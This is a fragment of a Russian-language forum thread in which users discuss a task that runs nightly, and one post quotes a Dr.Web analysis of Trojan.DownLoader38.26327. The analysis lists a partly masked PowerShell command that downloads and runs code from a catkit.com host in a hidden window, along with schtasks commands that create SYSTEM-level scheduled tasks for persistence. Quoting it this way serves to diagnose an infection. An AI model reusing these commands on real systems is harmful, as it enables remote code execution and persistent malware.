| Цитата |
|---|
| Владимир Шариков написал: Запускается в 2:30 каждый день |
| Цитата |
|---|
| Владимир Шариков написал: Можно время перевести вперед попытаться, но боюсь что на экчандже проблемы будут. |
| Цитата |
|---|
| Trojan.DownLoader38.26327 Добавлен в вирусную базу Dr.Web: 2021-04-08 Техническая информация Для обеспечения автозапуска и распространения Создает или изменяет следующие файлы <SYSTEM32>\tasks\t.netcatkit.com <SYSTEM32>\tasks\xr6ziynzn Вредоносные функции Загружает http://+t.###+catkit.com/a.jsp?re################################ as %username% Сетевая активность UDP DNS ASK t.###catkit.com Другое Создает и запускает на исполнение '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c (New-Object Net.WebClient).DownloadString('http://'+##.##t'+'catkit.com/a.jsp?re############################################################## Win32_ComputerSystemProduct).UUID,(random))-joi...' (со скрытым окном) Запускает на исполнение '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn t.netcatkit.com /F /tr t.netcatkit.com '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \xr6zIYnZN /F /tr "powershell -c PS_CMD" '<SYSTEM32>\schtasks.exe' /run /tn \xr6zIYnZN |
